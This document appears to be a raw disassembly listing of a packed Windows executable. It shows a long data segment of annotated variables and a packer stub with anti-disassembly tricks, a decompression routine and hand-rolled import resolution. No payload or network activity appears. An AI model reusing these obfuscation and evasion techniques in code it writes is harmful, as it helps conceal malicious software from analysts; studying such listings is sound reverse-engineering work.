dword_4D33FC	dd 41h dup(0)	dword_4D3500	dd 41h dup(0)	dword_4D3604	dd 0							; sub_40B9DD+113r
dword_4D3608	dd 0		dword_4D360C	dd 0							; sub_40B9DD+D4r
dword_4D3610	dd 20h dup(0)						; sub_40B9DD+BAo
dword_4D3690	dd 0		dword_4D3694	dd 0							; sub_40B9DD+C7w
dword_4D3698	dd 0				align 10h
dword_4D36A0	dd 0							; sub_40B9DD+225o
dword_4D36A4	dd 41h dup(0)	dword_4D37A8	dd 41h dup(0)	dword_4D38AC	dd 0							; sub_40B9DD+237r
dword_4D38B0	dd 0		dword_4D38B4	dd 0							; sub_40B9DD+1F8r
dword_4D38B8	dd 20h dup(0)						; sub_40B9DD+1DEo
dword_4D3938	dd 0		dword_4D393C	dd 0							; sub_40B9DD+1EBw
dword_4D3940	dd 0				align 8
dword_4D3948	dd 0							; sub_40B9DD+470o
dword_4D394C	dd 0A2h	dup(0)	dword_4D3BD4	dd 41h dup(0)	dword_4D3CD8	dd 0							; sub_40B9DD+423r
		align 10h
dword_4D3CE0	dd 0							; sub_40B9DD+482r
dword_4D3CE4	dd 0		dword_4D3CE8	dd 0		dword_4D3CEC	dd 0				dd 0
dword_4D3CF4	dd 0				dd 0
dword_4D3CFC	dd 0							; sub_40B630+31r
dword_4D3D00	dd 0							; sub_40B630+25r ...
dword_4D3D04	dd 82h dup(0)	dword_4D3F0C	dd 2 dup(0)	dword_4D3F14	dd 0							; .nsp0:0040DEB5o
		dd 0
dword_4D3F1C	dd 2 dup(0)						; sub_40E7D2+EAo
dword_4D3F24	dd 0				dd 0
		dd 0
dword_4D3F30	dd 0		dword_4D3F34	dd 0							; .nsp0:0040ECCCr
		dd 0
dword_4D3F3C	dd 0				dd 0
dword_4D3F44	dd 0		dword_4D3F48	dd 0							; sub_40F77A+51r ...
		dd 3 dup(0)
dword_4D3F58	dd 0				align 10h
dword_4D3F60	dd 0							; .nsp0:0041295Co
		dd 7Bh dup(0)
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: .nsp0:off_43FB18o
		dd 8Dh dup(0)
dword_4D4388	dd 188h	dup(0)						; .nsp0:loc_404B12o ...
dword_4D49A8	dd 0							; .nsp0:00404A5Br ...
		dd 3 dup(0)
byte_4D49B8	db 0			; DATA XREF: .nsp0:00415469o
					; .nsp0:00415478w ...
byte_4D49B9	db 0			; DATA XREF: .nsp0:0041548Cw
word_4D49BA	dw 0			; DATA XREF: .nsp0:004154BDw
word_4D49BC	dw 0			; DATA XREF: .nsp0:004154A4w
					; .nsp0:loc_4155FAw
word_4D49BE	dw 0			; DATA XREF: .nsp0:004154C3w
byte_4D49C0	db 0			; DATA XREF: .nsp0:004154B0w
byte_4D49C1	db 0			; DATA XREF: .nsp0:00415485w
word_4D49C2	dw 0			; DATA XREF: .nsp0:0041561Aw
					; .nsp0:00415644w
dword_4D49C4	dd 0							; .nsp0:004155C2r
dword_4D49C8	dd 0		word_4D49CC	dw 0			; DATA XREF: .nsp0:004155BCw
					; .nsp0:00415610o
word_4D49CE	dw 0			; DATA XREF: .nsp0:0041555Dw
					; .nsp0:00415582r ...
dword_4D49D0	dd 0							; .nsp0:00415601w
dword_4D49D4	dd 0							; .nsp0:004155D3w ...
byte_4D49D8	db 0			; DATA XREF: .nsp0:00415539r
					; .nsp0:00415547w
byte_4D49D9	db 0			; DATA XREF: .nsp0:00415503w
					; .nsp0:004155CCw ...
word_4D49DA	dw 0			; DATA XREF: .nsp0:00415511w
word_4D49DC	dw 0			; DATA XREF: .nsp0:00415621w
					; .nsp0:00415652w
word_4D49DE	dw 0			; DATA XREF: .nsp0:00415556w
word_4D49E0	dw 0			; DATA XREF: .nsp0:00415588w
					; .nsp0:0041565Ao
word_4D49E2	dw 0			; DATA XREF: .nsp0:00415597w
					; .nsp0:00415631w
dword_4D49E4	dd 0				align 10h
dword_4D49F0	dd 0							; .nsp0:0041563Fo
dword_4D49F4	dd 0		byte_4D49F8	db 0			; DATA XREF: .nsp0:00415569w
byte_4D49F9	db 0			; DATA XREF: .nsp0:0041556Fw
word_4D49FA	dw 0			; DATA XREF: .nsp0:0041557Cw
dword_4D49FC	dd 7 dup(0)	dword_4D4A18	dd 0							; .nsp0:00415663r
dword_4D4A1C	dd 100h	dup(0)						; .nsp0:004156A6o
dword_4D4E1C	dd 0B3h	dup(0)						; sub_415846o ...
dword_4D50E8	dd 0F4Dh dup(0)	dword_4D8E1C	dd 0							; sub_415846+Eo ...
dword_4D8E20	dd 0							; sub_415DEA+12r
		align 8
dword_4D8E28	dd 0Eh dup(0)	dword_4D8E60	dd 80h dup(0)	dword_4D9060	dd 200h	dup(0)						; .nsp0:0041794Fo ...
dword_4D9860	dd 200h	dup(0)						; .nsp0:00417966o ...
dword_4DA060	dd 0		; resolved to->NTDLL.RtlCreateQueryDebugBuffer					; sub_4176E9+94r
dword_4DA064	dd 0		; resolved to->NTDLL.RtlRunDecodeUnicodeString					; sub_417B4F+55r ...
dword_4DA068	dd 0		; resolved to->NTDLL.RtlDestroyQueryDebugBuffer					; sub_4176E9+D6r ...
dword_4DA06C	dd 0		; resolved to->NTDLL.ZwQuerySystemInformation					; sub_4176E9+35r ...
dword_4DA070	dd 80h dup(0)	dword_4DA270	dd 0		; resolved to->NTDLL.RtlQueryProcessDebugInformation					; sub_4176E9+A2r
		align 8
dword_4DA278	dd 0							; sub_417517+103r ...
dword_4DA27C	dd 0							; sub_417A19+107w
dword_4DA280	dd 0							; sub_417A19+10Dw ...
dword_4DA284	dd 0							; sub_417B4F+4Fr
dword_4DA288	dd 0							; sub_417EC3:loc_418045w ...
dword_4DA28C	dd 0							; sub_417D85+12o ...
		dd 0
dword_4DA294	dd 0							; sub_418065+3Ar
		dd 7Fh dup(0)
dword_4DA494	dd 0							; sub_418065+4Aw
		dd 16ECh dup(0)
		db 0
byte_4E0049	db 3 dup(0)		; DATA XREF: .nsp0:0043FD1Co
		db 3 dup(0)
byte_4E004F	db 0			; DATA XREF: .nsp0:00439359o
					; .nsp0:00439B69o
		dd 256h	dup(0)
dword_4E09A8	dd 0		dword_4E09AC	dd 81h dup(0)						; sub_417D85+3Co ...
dword_4E0BB0	dd 17h dup(0)						; sub_419083+131o ...
dword_4E0C0C	dd 80h dup(0)						; .nsp0:00419EC1o
dword_4E0E0C	dd 0							; sub_4193FD+4Dr ...
dword_4E0E10	dd 17h dup(0)						; sub_419CE8+12Do
dword_4E0E6C	dd 80h dup(0)						; sub_41933E+7Do ...
byte_4E106C	db 0			; DATA XREF: sub_4193FD+29r
					; sub_4193FD+34w
		align 10h
dword_4E1070	dd 80h dup(0)						; sub_419654+88o ...
dword_4E1270	dd 81h dup(0)						; sub_418F5A+50o ...
dword_4E1474	dd 0							; .nsp0:0041A3ECr
dword_4E1478	dd 0							; .nsp0:0041A3CFr ...
dword_4E147C	dd 0							; .nsp0:0041A570o
dword_4E1480	dd 0		dword_4E1484	dd 0Dh dup(0)	dword_4E14B8	dd 0							; .nsp0:0041A4D0r
		align 10h
dword_4E14C0	dd 0Eh dup(0)	dword_4E14F8	dd 0							; .nsp0:loc_41D939w ...
dword_4E14FC	dd 0							; sub_41E142:loc_41E1DCw ...
dword_4E1500	dd 0		dword_4E1504	dd 0		dword_4E1508	dd 0		dword_4E150C	dd 0		dword_4E1510	dd 0				align 10h
dword_4E1520	dd 0							; sub_4258F3+9r ...
dword_4E1524	dd 0		dword_4E1528	dd 0							; sub_425CC1+4r ...
		dd 3 dup(0)
byte_4E1538	db 0			; DATA XREF: sub_41BE83+2Dw
					; sub_422608+5r
		align 4
dword_4E153C	dd 0		dword_4E1540	dd 0							; sub_41BE83+8Bw
dword_4E1544	dd 0							; sub_41C794+91w
		dd 0
dword_4E154C	dd 0		dword_4E1550	dd 0							; sub_41D721+A4w
		align 8
word_4E1558	dw 0			; DATA XREF: sub_41D721+55r
					; sub_41D721+9Ao
word_4E155A	dw 0			; DATA XREF: sub_41D721+48r
		db 2 dup(0)
word_4E155E	dw 0			; DATA XREF: sub_41D721+3Br
word_4E1560	dw 0			; DATA XREF: sub_41D721+2Er
word_4E1562	dw 0			; DATA XREF: sub_41D721+21r
		align 8
dword_4E1568	dd 0							; sub_422DE6:loc_422DF8r ...
		align 10h
dword_4E1570	dd 0		dword_4E1574	dd 0		dword_4E1578	dd 0							; sub_41BBCBr ...
dword_4E157C	dd 0							; sub_41FEA7+4w ...
dword_4E1580	dd 0				align 8
dword_4E1588	dd 0							; sub_421942+1Ar ...
byte_4E158C	db 0			; DATA XREF: sub_42183E+3r
					; sub_42183E+98r ...
		align 10h
dword_4E1590	dd 0							; sub_421A20+21w ...
byte_4E1594	db 0			; DATA XREF: sub_421A20+51w
		align 4
dword_4E1598	dd 0							; sub_421FF1+3Ar ...
dword_4E159C	dd 0							; sub_421FF1+43r ...
dword_4E15A0	dd 0							; sub_421DBD+5r
dword_4E15A4	dd 0		dword_4E15A8	dd 2 dup(0)	dword_4E15B0	dd 0							; sub_41DC7A+6Er ...
		align 10h
dword_4E15C0	dd 0							; sub_41DF04+BFr ...
		align 8
dword_4E15C8	dd 0							; sub_4202AB:loc_4202D4w ...
dword_4E15CC	dd 0							; .nsp0:00422A07w ...
dword_4E15D0	dd 0							; .nsp0:00422C50w ...
dword_4E15D4	dd 41h dup(0)	dword_4E16D8	dd 0							; sub_4230EC+23w ...
dword_4E16DC	dd 0		dword_4E16E0	dd 0		dword_4E16E4	dd 0							; .nsp0:loc_423BB9w
word_4E16E8	dw 0			; DATA XREF: sub_424449+1Ao
					; sub_424449+46r
byte_4E16EA	db 0			; DATA XREF: sub_424449+39r
		align 4
dword_4E16EC	dd 7 dup(0)	dword_4E1708	dd 0							; sub_424449+5Co
dword_4E170C	dd 0		dword_4E1710	dd 0		dword_4E1714	dd 0		dword_4E1718	dd 0							; sub_42456C+38r ...
		align 10h
dword_4E1720	dd 0							; sub_42464C+63w ...
		align 8
dword_4E1728	dd 0							; sub_42464C+46r
dword_4E172C	dd 10h dup(0)	word_4E176C	dw 0			; DATA XREF: sub_4248AA+A8r
word_4E176E	dw 0			; DATA XREF: sub_42464C+54r
					; sub_4248AA+DBr ...
word_4E1770	dw 0			; DATA XREF: sub_4248AA+CAr
word_4E1772	dw 0			; DATA XREF: sub_4248AA+D3r
					; sub_4248AA:loc_42499Cr
word_4E1774	dw 0			; DATA XREF: sub_4248AA+C0r
word_4E1776	dw 0			; DATA XREF: sub_4248AA+B8r
word_4E1778	dw 0			; DATA XREF: sub_4248AA+B0r
word_4E177A	dw 0			; DATA XREF: sub_4248AA+9Er
dword_4E177C	dd 0		dword_4E1780	dd 10h dup(0)	word_4E17C0	dw 0			; DATA XREF: sub_4248AA+46r
word_4E17C2	dw 0			; DATA XREF: sub_42464C:loc_4246C3r
					; sub_4248AA+78r ...
word_4E17C4	dw 0			; DATA XREF: sub_4248AA+67r
word_4E17C6	dw 0			; DATA XREF: sub_4248AA+70r
					; sub_4248AA:loc_42492Er
word_4E17C8	dw 0			; DATA XREF: sub_4248AA+5Dr
word_4E17CA	dw 0			; DATA XREF: sub_4248AA+55r
word_4E17CC	dw 0			; DATA XREF: sub_4248AA+4Dr
word_4E17CE	dw 0			; DATA XREF: sub_4248AA+3Er
dword_4E17D0	dd 0		dword_4E17D4	dd 0							; sub_42464C:loc_424798r ...
dword_4E17D8	dd 0		dword_4E17DC	dd 0		; resolved to->USER32.MessageBoxA					; .nsp0:00424CDBw ...
dword_4E17E0	dd 0		; resolved to->USER32.GetActiveWindow					; .nsp0:loc_424CFCr
dword_4E17E4	dd 0		; resolved to->USER32.GetLastActivePopup					; .nsp0:00424D0Dr
dword_4E17E8	dd 0		dword_4E17EC	dd 0							; sub_425781+6Do
dword_4E17F0	dd 0							; sub_425781+44o
dword_4E17F4	dd 0							; sub_425781+37o
dword_4E17F8	dd 0							; sub_425781+51o
		align 10h
dword_4E1800	dd 0							; sub_425D2F+48w ...
dword_4E1804	dd 0							; .nsp0:00426866w ...
dword_4E1808	dd 0							; .nsp0:loc_426B0Fw
byte_4E180C	db 0			; DATA XREF: sub_40D78Er sub_40D78E+9w ...
		align 10h
		dd 4 dup(0)
dword_4E1820	dd 0							; sub_41EF81+2Ar ...
		dd 3Fh dup(0)
dword_4E1920	dd 0							; sub_41EF81+Cr ...
dword_4E1924	dd 0							; sub_41F302+14r ...
		dd 6 dup(0)
dword_4E1940	dd 400h	dup(0)						; .nsp0:00442B40o
dword_4E2940	dd 0							; sub_41E2C0+56r ...
dword_4E2944	dd 0							; .nsp0:0041FE21w ...
		align 10h
dword_4E2950	dd 3 dup(0)						; .nsp0:0041FE7Fo ...
dword_4E295C	dd 0							; .nsp0:0041FE6Bw ...
byte_4E2960	db 0			; DATA XREF: .nsp0:loc_420059w
					; .nsp0:loc_420076w ...
		align 4
		dd 3Fh dup(0)
byte_4E2A60	db 0			; DATA XREF: .nsp0:0041FDBDo
					; sub_41FF24+6o
byte_4E2A61	db 0			; DATA XREF: sub_41C081+5Dr
					; .nsp0:loc_41FDF5w ...
		align 4
		dd 40h dup(0)
dword_4E2B64	dd 0							; .nsp0:0041FE66w ...
dword_4E2B68	dd 0							; sub_41EA06+5r ...
dword_4E2B6C	dd 0							; sub_41E3D2+259r ...
dword_4E2B70	dd 0							; sub_41E3D2+310w ...
dword_4E2B74	dd 0							; sub_41E3D2+22Cr ...
dword_4E2B78	dd 0							; sub_41E3A7r ...
dword_4E2B7C	dd 0							; sub_41E3A7+8r ...
dword_4E2B80	dd 0							; sub_41BA78+A9r ...
dword_4E2B84	dd 0							; .nsp0:00422D9Dr
dword_4E2B88	dd 0							; sub_4258F3r
dword_4E2B8C	dd 0							; sub_4200D2+11w ...
dword_4E2B90	dd 0							; sub_41D673+13r ...
dword_4E2B94	dd 0							; sub_41BE83+57r ...
byte_4E2B98	db 0			; DATA XREF: sub_4265A4+15r
					; sub_4265A4+1Ew
		align 4
		dd 119h	dup(0)
		db 90h
; ---------------------------------------------------------------------------
		pusha
		call	loc_4E300A
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------
		jmp	short loc_4E300E
; ---------------------------------------------------------------------------


loc_4E300A:				; CODE XREF: .nsp0:004E3002j
		pop	ebp
		inc	ebp
		push	ebp
		retn
; ---------------------------------------------------------------------------


loc_4E300E:				; CODE XREF: .nsp0:004E3008j
		call	loc_4E3014
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4E3014:				; CODE XREF: .nsp0:loc_4E300Ej
		pop	ebp
		mov	ebx, 0FFFFFFEDh
		add	ebx, ebp
		sub	ebx, 0E3000h
		cmp	byte ptr [ebp+4Dh], 1
		jnz	short loc_4E3034
		mov	esi, [esp+28h]
		cmp	esi, 1
		mov	[ebp+4Eh], ebx
		jnz	short loc_4E3065


loc_4E3034:				; CODE XREF: .nsp0:004E3026j
		lea	eax, [ebp+53h]
		push	eax
		push	ebx
		push	dword ptr [ebp+9EDh]
		lea	eax, [ebp+35h]
		push	eax
		jmp	loc_4E30CA
; ---------------------------------------------------------------------------
		dd 9B0000h, 30000h, 7C809AE4h, 9DE000h,	7C801D77h, 7C80B6A1h
		dd 0
		db 0
; ---------------------------------------------------------------------------


loc_4E3065:				; CODE XREF: .nsp0:004E3032j
		mov	eax, 23A5C0F8h
		push	eax
		push	eax
		add	eax, [ebp+4Eh]
		pop	ebx
		test	eax, eax
		jz	short loc_4E3090
		jmp	short loc_4E3077
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_4E3077:				; CODE XREF: .nsp0:004E3074j
		cmp	ebx, 23A5C0F8h
		jz	short loc_4E30B4
		xor	edx, edx
		push	esi
		push	0
		push	esi
		push	dword ptr [ebp+4Eh]
		call	eax
		pop	esi
		cmp	esi, 0
		jnz	short loc_4E30B4


loc_4E3090:				; CODE XREF: .nsp0:004E3072j
		xor	edx, edx
		mov	eax, [ebp+41h]
		test	eax, eax
		jz	short loc_4E30A0
		push	edx
		push	edx
		push	dword ptr [ebp+35h]
		call	eax


loc_4E30A0:				; CODE XREF: .nsp0:004E3097j
		mov	eax, [ebp+35h]
		test	eax, eax
		jz	short loc_4E30B4
		push	8000h
		push	0
		push	dword ptr [ebp+35h]
		call	dword ptr [ebp+3Dh]


loc_4E30B4:				; CODE XREF: .nsp0:004E307Dj
					; .nsp0:004E308Ej ...
		pop	ebx
		or	ebx, ebx
		popa
		jnz	short loc_4E30C0
		push	1
		pop	eax
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4E30C0:				; CODE XREF: .nsp0:004E30B8j
		xor	eax, eax
		neg	eax
		sbb	eax, eax
		inc	eax
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4E30CA:				; CODE XREF: .nsp0:004E3043j
		call	near ptr loc_4E30DB+1
		xchg	eax, ecx
		div	bh
		db	64h
		int	82h
		xchg	eax, ebx
		ror	cl, 1
		into
		out	dx, eax
		cld


loc_4E30DB:				; CODE XREF: .nsp0:loc_4E30CAp
		test	[edi], ecx
		test	[ebx], eax
; ---------------------------------------------------------------------------
		db 0
		dd 0CB800000h, 0EE85E83h, 7E000000h, 8AF52CDFh,	567118FBh
		dd 0E2ADC4D7h, 48E68173h, 5840D958h, 0AC72C768h, 7E838h
		dd 60630000h, 8CBFDE19h, 815E5AD5h, 837C0h, 4EBCB900h
		dd 0C1810355h, 0FCAAB327h, 9566C681h, 30FF1B6Ah, 0EE95Fh
		dd 9F3E0000h, 0BB4AB5ECh, 971631D8h, 33A26D84h,	0ECA3EF81h
		dd 0BB665F2Eh, 0F781CCFAh, 3C269BA0h, 9E857h, 52DD0000h
		dd 9ED92023h, 0F954C7Fh, 5A5AF3B7h, 3359F781h, 4E685D9Bh
		dd 816EA6ADh, 250C67EBh, 51575E62h, 38C0Fh, 0B70F0000h
		dd 8F5ED2h, 0BE03E883h,	4D5C6261h, 0F08B6648h, 93850F49h
		dd 66FFFFFFh, 0D8BBF38Bh, 0E80BCC74h, 6, 6D849716h, 13E933A2h
		dd 8F000000h, 0ABFA251Ch, 87C6A108h, 2352DDB4h,	7F9ED920h
		dd 0E85A954Ch, 0Dh, 0E4777611h,	5013024Dh, 7C6F4E49h, 0DE905h
		dd 26810000h, 0B2BD1467h, 0FEB98003h, 5E75AC5Fh, 77EC281h
		dd 0C1810000h, 22044962h, 68h, 0DCD18100h, 5F2372CAh, 10E8h
		dd 8661C800h, 129D7447h, 5E99E0E3h, 6A550C3Fh, 0F08B665Bh
		dd 3A048B5Bh, 0E88187B7h, 6079E054h, 0FE9h, 41284B00h
		dd 7DD427E6h, 7940C372h, 356C1FBEh, 4BFDF081h, 81500B36h
		dd 532822E6h, 0F0815E29h, 53F3A0F2h, 0D346BB66h, 59BE6650h
		dd 3A048F35h, 2AF18166h, 64C18155h, 83429A38h, 0F18B04EFh
		dd 0F98CFF81h, 850FFFFFh, 31h, 0FE8h, 1E80B00h,	3D94E7A6h
		dd 39008332h, 0F52CDF7Eh, 59DE8B66h, 21E9h, 3A655C00h
		dd 6E148EBh, 921DF4C7h,	0DE196063h, 0EAD58CBFh,	0FF6FE9DBh
		dd 8990FFFFh, 45BCAF8Eh, 7B2CB9Ah, 0BE8h, 0FD54A700h, 0F9C043F2h
		dd 0B5EC9F3Eh, 0AEAAD868h, 0E281662Bh, 5E590C6Dh, 81C78B66h
		dd 669C6h, 0C6D98000h, 68h, 86526800h, 0D9686B8Ch, 0E97A0D57h
		dd 11h,	389BAA95h, 0E4777611h, 5013024Dh, 7C6F4E49h, 5B5A5905h
		dd 0FFCAB70Fh, 0FE683334h, 5836635Ah, 8158535Fh, 0BD6942F7h
		dd 816EB225h, 0C41D53EFh, 0E0ED8072h, 0F690EF81h, 0BF0F5FA1h
		dd 1E3C89D0h, 8BCEBF0Fh, 2EB83C7h, 128A0Fh, 0DE90000h
		dd 41000000h, 7DD427E6h, 7940C372h, 356C1FBEh, 0DE84B4Bh
		dd 0B1000000h, 0ED041796h, 0E970B322h, 0A59C0F6Eh, 5ACAB70Fh
		dd 0FA50FB81h, 850FFFFFh, 0FFFFFF93h, 8B66ECB1h, 10E8F3h
		dd 0D1F80000h, 0DA43736h, 910D3C2h, 0C53C2F0Eh,	81664B1Ah
		dd 5A9C6CEEh, 5A4C281h,	0BE90000h, 17000000h, 0B322ED04h
		dd 0F6EE970h, 0BBA59Ch,	8B000000h, 1334FFF7h, 15EF8166h
		dd 0B966586Fh, 0E881E791h, 49EF4D86h, 82D18166h, 47C0818Ch
		dd 81602706h, 717E74C0h, 89F88B36h, 9E81A04h, 3D000000h
		dd 39008332h, 0F52CDF7Eh, 2EB835Fh, 0EC2EBF66h,	0FB814B4Bh
		dd 0FFFFFAD8h, 0FFB3850Fh, 0E8FFFFh, 5D000000h,	5B5D895Bh
		dd 5F5D895Bh, 0D858958h, 58000004h, 15A7D80h, 85895975h
		dd 425h, 33458D60h, 64C03350h, 896430FFh, 0E8C38B20h, 2E4h
		dd 648B1CEBh, 67640824h, 68Fh, 6104C483h, 5063458Dh, 0E85F55FFh
		dd 2DEh, 676409EBh, 68Fh, 0EB24C483h, 3048001Bh, 0B6A1004Eh
		dd 656B7C80h, 6C656E72h, 642E3233h, 0E8006C6Ch,	29Ch, 8CB58DFCh
		dd 0AD000000h, 1B74C00Bh, 0CB9F88Bh, 0F3000000h, 10EBA4h
		dd 20004010h, 19B2BB43h, 0FD80AA11h, 89A35ACDh,	429A5h
		dd 68406A00h, 1000h, 408B5FFh, 6A0000h,	3F095FFh, 85890000h
		dd 1CCh, 4009D8Bh, 9D030000h, 40Dh, 4E85350h, 6A000001h
		dd 10006840h, 0B5FF0000h, 408h,	95FF006Ah, 3F0h, 4318589h
		dd 85890000h, 1D0h, 0A16764h, 2D858900h, 8B000004h, 858B5B55h
		dd 1D0h, 858B0289h, 408h, 8D044289h, 39F85h, 55408B00h
		dd 8B084289h, 3EC85h, 10428900h, 3E8858Bh, 42890000h, 0CC958B14h
		dd 0BB000001h, 1F8h, 0C1A7C8Bh,	1E74FF0Bh, 101A4C8Bh, 1174C90Bh
		dd 1D0BD03h, 748B0000h,	0F203141Ah, 0F302F9C1h,	28C383A5h
		dd 858BDAEBh, 1CCh, 0D0958B50h,	52000001h, 0DA03188Bh
		dd 3E4858Bh, 3890000h, 3E8858Bh, 43890000h, 0EC858B04h
		dd 89000003h, 5E5F0843h, 304468Bh, 0C78589C7h, 8B000001h
		dd 858B5B55h, 1C7h, 8D0C4289h, 40D9Dh, 6A5300h,	16A006Ah
		dd 85E8B57h, 6853DF03h,	8000h, 0FF56006Ah, 3F495h, 0E0006800h
		dd 0C3009Dh, 9800h
		db 0, 9Bh, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		pusha
		push	ebp
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		cld
		mov	dl, 80h


loc_4E35E5:				; CODE XREF: .nsp0:loc_4E35F4j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi


loc_4E35EB:				; CODE XREF: .nsp0:004E3649j
					; .nsp0:004E368Ej ...
		add	dl, dl
		jnz	short loc_4E35F4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E35F4:				; CODE XREF: .nsp0:004E35EDj
		jnb	short loc_4E35E5
		add	dl, dl
		jnz	short loc_4E35FF
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E35FF:				; CODE XREF: .nsp0:004E35F8j
		jnb	short loc_4E364B
		xor	eax, eax
		add	dl, dl
		jnz	short loc_4E360C
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E360C:				; CODE XREF: .nsp0:004E3605j
		jnb	loc_4E36E8
		add	dl, dl
		jnz	short loc_4E361B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E361B:				; CODE XREF: .nsp0:004E3614j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E3626
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E3626:				; CODE XREF: .nsp0:004E361Fj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E3631
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E3631:				; CODE XREF: .nsp0:004E362Aj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E363C
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E363C:				; CODE XREF: .nsp0:004E3635j
		adc	eax, eax
		jz	short loc_4E3646
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_4E3646:				; CODE XREF: .nsp0:004E363Ej
		mov	[edi], al
		inc	edi
		jmp	short loc_4E35EB
; ---------------------------------------------------------------------------


loc_4E364B:				; CODE XREF: .nsp0:loc_4E35FFj
		mov	eax, 1


loc_4E3650:				; CODE XREF: .nsp0:loc_4E3664j
		add	dl, dl
		jnz	short loc_4E3659
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E3659:				; CODE XREF: .nsp0:004E3652j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E3664
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E3664:				; CODE XREF: .nsp0:004E365Dj
		jb	short loc_4E3650
		sub	eax, 2
		jnz	short loc_4E3693
		mov	ecx, 1


loc_4E3670:				; CODE XREF: .nsp0:loc_4E3684j
		add	dl, dl
		jnz	short loc_4E3679
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E3679:				; CODE XREF: .nsp0:004E3672j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E3684
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E3684:				; CODE XREF: .nsp0:004E367Dj
		jb	short loc_4E3670
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_4E35EB
; ---------------------------------------------------------------------------


loc_4E3693:				; CODE XREF: .nsp0:004E3669j
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_4E36A1:				; CODE XREF: .nsp0:loc_4E36B5j
		add	dl, dl
		jnz	short loc_4E36AA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E36AA:				; CODE XREF: .nsp0:004E36A3j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E36B5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E36B5:				; CODE XREF: .nsp0:004E36AEj
		jb	short loc_4E36A1
		cmp	eax, 7D00h
		jnb	short loc_4E36D8
		cmp	eax, 500h
		jb	short loc_4E36D3
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E35EB
; ---------------------------------------------------------------------------


loc_4E36D3:				; CODE XREF: .nsp0:004E36C3j
		cmp	eax, 7Fh
		ja	short loc_4E36DB


loc_4E36D8:				; CODE XREF: .nsp0:004E36BCj
		add	ecx, 2


loc_4E36DB:				; CODE XREF: .nsp0:004E36D6j
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E35EB
; ---------------------------------------------------------------------------


loc_4E36E8:				; CODE XREF: .nsp0:loc_4E360Cj
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_4E3704
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E35EB
; ---------------------------------------------------------------------------


loc_4E3704:				; CODE XREF: .nsp0:004E36F0j
		pop	ebp
		sub	edi, [ebp+0Ch]
		mov	[ebp-4], edi
		popa
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------
		dd 7C80261Ch, 2424448Bh, 0FF000025h, 5FFh, 2D0001h, 66000100h
		dd 5A4D3881h, 8960F475h, 3F885h, 8BD08B00h, 3C4003D8h
		dd 89785803h, 30D9Dh, 0CC9D8D00h, 8D000003h, 3E4BDh, 89338B00h
		dd 37CB5h, 0BE800h, 83AB0000h, 3B8304C3h, 61EA7500h, 9D8B60C3h
		dd 30Dh, 3204B8Bh, 3318BCAh, 2FE8F2h, 0CEBF0000h, 3B49CD75h
		dd 830574C7h, 0E9EB04C1h, 2B204B2Bh, 3E9D1CAh, 0CA03244Bh
		dd 0C109B70Fh, 4B0302E1h, 8BCA031Ch, 89CA0309h,	611C244Ch
		dd 8EBA52C3h, 0AC9C3B24h, 1474C00Ah, 8B0D032h, 673EAD1h
		dd 0F39AF281h, 0C8FEC1A7h, 0E7EBF275h, 0A7C35A92h, 0F0B72551h
		dd 57A7493Bh, 13901902h, 0CE74EE32h, 49CD75h, 0A0000000h
		dd 0A17C80ADh, 777C80B6h, 517C801Dh, 0E47C809Ah, 7C809Ah
		dd 7C8000h, 540001D6h, 0F2000E3Bh, 158h, 300h, 2 dup(400000h)
		dd 3 dup(0)
		dd 281E0h, 0
		dd 12FFA4h, 12FFE0h, 9B0000h, 1000h, 25E00h, 11E70h, 27000h
		dd 1E00h, 16CBh, 29000h, 1A400h, 995Ch,	60h dup(0)
		dd 2000h, 8, 6 dup(0)
		dd 7C80ADA0h, 7C80B6A1h, 7C801D77h, 2 dup(0)
		dd 6E72656Bh, 32336C65h, 6C6C642Eh, 47000000h, 72507465h
		dd 6441636Fh, 73657264h, 73h, 4D746547h, 6C75646Fh, 6E614865h
		dd 41656C64h, 4C000000h, 4C64616Fh, 61726269h, 417972h
		dd 3 dup(0)
		dd 0E3A10h, 0E39FCh, 3 dup(0)
		dd 0E3AC8h, 0E3AF5h, 3 dup(0)
		dd 0E3AD0h, 0E3AFDh, 3 dup(0)
		dd 0E3ADBh, 0E3B05h, 3 dup(0)
		dd 0E3AE8h, 0E3B0Dh, 5 dup(0)
